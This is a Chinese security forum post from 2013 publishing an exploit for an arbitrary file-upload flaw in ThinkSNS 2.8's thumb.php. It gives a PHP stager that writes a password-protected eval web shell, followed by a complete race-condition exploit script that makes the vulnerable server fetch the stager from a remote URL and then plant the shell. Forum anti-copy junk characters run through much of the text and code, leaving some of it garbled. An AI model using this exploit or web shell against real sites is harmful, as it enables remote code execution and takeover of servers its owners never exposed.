找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2136|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
漏洞版本
! d; g! i) x. g6 F7 w存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)2 m0 v( C- K6 y% y
漏洞文件) C4 ~; I8 O: n, T1 s: _
存在漏洞的文件为:thumb.php4 g3 S& ?: r; N  e9 Y7 `3 {
作者:韦鲲鹏
  M# n5 A5 p& t1、        准备如下PHP文件并上传到服务器(自己的)。
5 W, K' V6 T9 y( E% R5 p文件内容如下:1 `* L0 ?# m9 M7 ]7 e
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
4 l0 e1 C! R& x# S2、        计算出临时的文件名:
  c  h! b: j( u( W6 U0 R这里我们可以看文件的99行(刚刚是不是没注意呀!)。
$ B. f8 F8 {! D5 t( G* S
7 L* o9 o$ L8 b7 A% {, L: ~3、        上传临时文件。
% |- E- ~9 P4 \: y4、        访问临时文件。1 C+ f/ C& w$ e2 w
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)4 [& g/ W  q9 U1 S( y% f- H
Exploit文件内容如下:(这个我就不详细解释了)' a% `1 K4 v; O& E6 Q' ?$ ?+ f
<?php
2 [: Y/ m3 }) Z8 E" F. E( |error_reporting(0);
$ C4 j* N' T, @, N2 F8 |, \set_time_limit(0);
0 L- I  G! O8 g+ M$ Uini_set(“default_socket_timeout”, 5);! x. K0 h- G7 e4 K/ t: Y8 _( Q' s
function http_send($host, $port, $headers) {
' f, F) h* F" ]$ Q8 \$fp = fsockopen($host, $port);
( B! }4 l% Z' F8 N: rif (!$fp) die(‘Connection -> fail’);+ n2 k* ^0 h' z, Y; S* q) i
fputs($fp, $headers);% E1 m9 h7 v, g; ~/ E
return $fp;$ A$ w# z3 D5 E, g! {4 Q7 x
}
# f6 B3 @! g" L/ E% U$ B- B" w) Hfunction http_recv($fp) {4 K4 V2 L+ a, q( }% h* K9 \* b
$ret=”";
* e0 E& n. G( Q# _while (!feof($fp))
" a( q: [6 D6 T$ret.= fgets($fp, 1024);4 o2 c. {+ b( K& T- ~' f0 k
fclose($fp);
( J$ O/ v+ C1 F6 d) B6 e* G+ Ireturn $ret;" S: a4 T1 J% w4 f! k  k8 i
}
2 s" D2 _" L3 O+ Q; E5 dprint “\n#  ThinkSns Arbitrary File Upload   #\n”;
* ^, y$ v8 K& E/ Bprint “# Discovered by 韦鲲鹏 #\n\n”;
% r, G0 z6 N( ]0 E* vif ($argc < 4) {
" g; I# P$ t* ]" F4 Bprint “Usage:   php <host> <path> <romote_url>\n”;. r" ]6 N0 L, W
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
% c1 K. [0 b2 Ydie();
' r# x  i& Z- L4 w/ Q}
' H" G8 n  Y) ?% V4 {/ s0 r  K$host = $argv[1];
3 g0 Y8 W/ Y0 c: I/ K; H$path = $argv[2];
1 w% ^2 A, Z$ M3 `* A$url = $argv[3];# `) l- Z& x% J8 {# z* F
$i=0;9 h3 l. z0 t7 ~7 c7 k; m3 W
//上传数据包
6 ]: P; G0 M# k( E$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;; E2 S" o; S8 R) x
$headers_up .= “Host: “.$host.”\r\n”;/ O! f8 J( N6 P5 f6 @+ _6 J8 G9 l
$headers_up .= “Connection: close\r\n\r\n”;$ P+ s% I% d4 N* X& n/ f5 W
echo $headers_up;
$ n  j5 G  o" F0 z" E5 ]% j//临时文件访问数据包
% i6 x$ [& \# a3 v$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;/ F4 b, P8 F; L8 y: k# c
$headers .= “Host: “.$host.”\r\n”;
9 [3 H+ q& I6 [$headers .= “Connection: close\r\n\r\n”;: L' F9 A2 p; R4 E- l  M
echo $headers;
# Q8 t" {( M. G# [$ x  C: Hwhile(++$i<10) {
  o& ^+ R! `& A7 J. Lfclose(http_send($host, 80, $headers));( ^2 z$ |# S2 l2 P; n4 h
}6 ^) l$ `. o2 K
fclose(http_send($host, 80, $headers_up));
4 N7 F+ I+ o7 B' ^/ G' nwhile(++$i<50) {$ O7 G0 z& t. `) k) d) @
fclose(http_send($host, 80, $headers));
: u+ O- A8 r* g6 K+ O4 z}
* k  W8 @+ Q6 C( R2 V, y$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
% \) u/ M% s2 s2 E$headers .= “Host: “.$host.”\r\n”;
6 l6 G+ J. {- K$headers .= “Connection: close\r\n\r\n”;$ x3 |: m- f3 N4 k1 S
$res=http_recv(http_send($host, 80, $headers));" |' W) f1 M$ C) ?
if(preg_match(‘/200 OK/’,$res)) {
1 S. B; i8 V) P/ C4 Q. y$ W, Rprint “Success!\n\n”;
9 [/ `$ V* ~+ t, F  e/ F5 P} else {
2 {( ^  j  ?; k- n% Rprint “Fail!\n\n”;
' r3 N3 O$ p% K0 @9 N9 F' t}
* o7 P7 w) E' J  S?>
5 x0 X+ B  [, e$ c) S
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表